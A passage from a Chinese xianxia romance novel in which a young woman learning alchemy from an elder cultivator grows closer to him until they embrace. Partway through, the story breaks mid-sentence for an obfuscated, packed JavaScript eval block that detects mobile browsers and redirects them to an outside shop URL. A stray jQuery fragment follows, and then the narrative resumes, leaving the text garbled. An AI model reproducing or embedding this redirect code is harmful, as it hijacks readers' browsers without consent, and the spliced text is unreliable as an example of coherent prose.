从那天起，云绾柔每天都会去叶孤鸿的丹房。
有时是送茶，有时是送点心，有时是学炼丹。不管是什么理由，她都会待上一个时辰以上，像一枚被风反复吹向同一扇窗户的叶子，每一次都落在那扇窗台上。她推门进来时，叶孤鸿已经不再像最初那样抬起头来确认是谁了。他已经在那些脚步声里学会辨认她的步速和轻重，像一条已经开始习惯新水流的河。
两人的关系在不知不觉中发生了变化。那种变化不是突然发生的，而是像一棵树的年轮一样，缓慢地、一圈一圈地叠加上去。起初，叶孤鸿教她炼丹时会保持一段距离——他站在丹炉左边，她站在丹炉右边，中间隔着半个人的身位。他的手不会碰到她的手，他的身体不会碰到她的身体。他递给她药材时，会先将药草放在案面上，等她自己伸手来拿。可渐渐地，那道距离开始变小了。像一条正在缓慢消退的河流，水线正在一点点下降，露出原本被水流掩盖的河床。
半个身位变成了四分之一个身位，四分之一个身位变成了一个拳头的距离，一个拳头的距离又变成了几乎贴在一起的程度。那些变化太过细微了，像一个人在夜间的房间里移动家具——白天看不出任何变动，可当你再次走进那间屋子时，你会发现那些物件的位置已经和记忆中不太一样了。
今天，他们之间已经没有距离了。
叶孤鸿站在她身后，手指覆在她的手背上，带着她一起控制丹炉的火候。他的掌心贴着她的指背，粗糙而温热，像一块被太阳晒了很久的石头。她能感觉到他的呼吸正落在她的耳侧，像一层正在缓慢展开的薄雾，将她从头顶到肩颈的皮肤都笼罩在那片温暖里。他的声音就在她耳畔，低而清晰，每一个字都像羽毛拂过水面，不留痕迹却又让人无法忽视。
“感觉到了吗？”他说。“火候的控制在于灵气的输出，不能多，不能少。你要找到那个刚好能让火焰维持住自己形状的力度——像握住一只鸟，不捏紧，也不松开，只是让它恰好停在你掌心里。”
云绾柔能感觉到他带着她的手微微调整角度，她的手指在他的引导下缓缓偏转了一个极小的弧度。她的目光落在丹炉中跳动的火焰上，又像穿过那些火焰，落在了更远的地方。她不知道他说话的时候是不是也在想别的事，他的声音始终平稳而清晰，像一条始终在同一深度流淌的河流，而她只是站在河岸上，看着水面。
“对，就是这样。”他的手带着她的手调整了一下灵气的输出。“保持这个力度，不要变。”他的手松开她的手指，缓缓退开，像一艘正在缓慢离开码头的船。他的体温还短暂地停留在她手背的皮肤上，像一层正在逐渐变淡的水痕，还未被空气完全带走。
云绾柔转过身来看着他。他的脸比刚才红了一些，呼吸也比平时略快，像一枚正在被风反复吹动的叶片。他的目光落在她身后的某个点上，又像穿过了那个点，落在更远的地方。她的声音很轻，像在试探一片她不确定是否会碎裂的冰面。“叶前辈，您怎么了？”
“没什么。”他的声音比平时紧了一些，像一根弦被拧到了比平常稍高的音调上。他的目光还落在别处，没有看她。“你先回去吧，今天就到这里。”
云绾柔没有动。她看着他微微泛红的耳根，看着他手指在身侧微微蜷曲又松开的样子，看着他那双正努力看向别处的眼睛。她走向他，脚步很轻，像一枚正在落向水面的叶片。她伸出手，轻轻搭在他的小臂上。隔着那层薄薄的布料，她能感觉到他皮肤的温度，他正以一种她无法形容的方式微微绷紧着。
“叶前辈，”她说，声音像一层正在缓慢展开的纱，正在向他的方向落去，“您在躲我。”
叶孤鸿没有说话。他的沉默像一枚已经沉入水底的印记，并没有急着浮上水面。她在等他开口，等了一阵，才又问道：“为什么？”
他沉默了很久。那段时间里，丹炉中的火焰正在缓慢地变弱，像在替他的沉默腾出足够的空间。风从窗缝里漏进来，拂过她的指尖，又沿着她的手背向上爬行。他的声音从那条缝
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17729003|206662||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
隙中渗出来，带着一种被小心压低了音量的、像在整理一件旧物时才发现它依旧完好的声音。
“因为，”他说，声音像一枚正在缓慢沉入深水中的石子，下沉的速度缓慢而沉重，“我怕控制不住自己。”
云绾柔看着他，看着她手指下方那一小片正在微微起伏的布料。她踮起脚尖，伸出手，轻轻环住了他的脖颈。她的手臂穿过他的肩线，像两枚正在靠近的叶片，沿着不同的方向朝同一处合拢。她能感觉到他的身体在她的触碰下微微颤了一下，像一棵被风吹了很久的树，风终于停了。他的呼吸在她耳边重了一瞬，又轻下去。
“绾柔……”他的声音像一条正在缓慢转向的河流，流速开始变缓，水位正在上升，“不要这样……我会控制不住……”
“那就不要控制。”她的声音像一层正在缓慢收拢的雾气，正沿着他的耳廓缓缓铺开。
叶孤鸿闭上眼睛。他的手臂缓缓抬起，环住了她的腰。他的动作很轻，像在触碰一件他害怕自己会捏碎的东西。他的额头低下来，落在她的肩侧。她能感觉到他的睫毛正贴着她颈侧的皮肤，正随着他呼吸的节奏而轻微颤动。他的心跳正从她紧贴的胸腔处传来，稳定而清晰，像一面被风吹动的旗帜。她听见他在她肩侧轻轻吸了一口气，又缓缓吐出来，像在把一件他已经存放了很久的东西从抽屉里取出来，放在光线下一寸一寸地端详。窗外暮色正沿着窗台缓缓爬升，丹炉中的火光正在他们的影子上轻轻晃动。她不知道这个拥抱会持续多久，也不知道当暮色完全沉入夜色时，她会不会松开手。她只是站在那里，把自己安放在他的臂弯里，像一个终于找到可以靠岸的码头的旅人，正在让那些潮水缓慢地拍打她脚下的礁石。她不知道自己是否真的想离开，也不确定当他松开她时，她还能不能找到来时的路。她只是安静地站在那圈正在变暗的光线里，感觉他的呼吸正沿着她的肩头缓慢地蔓延开来。那些呼吸像另一条河流，沿着与她不同的方向流淌，却恰好在这片暮色中与她的河流交汇。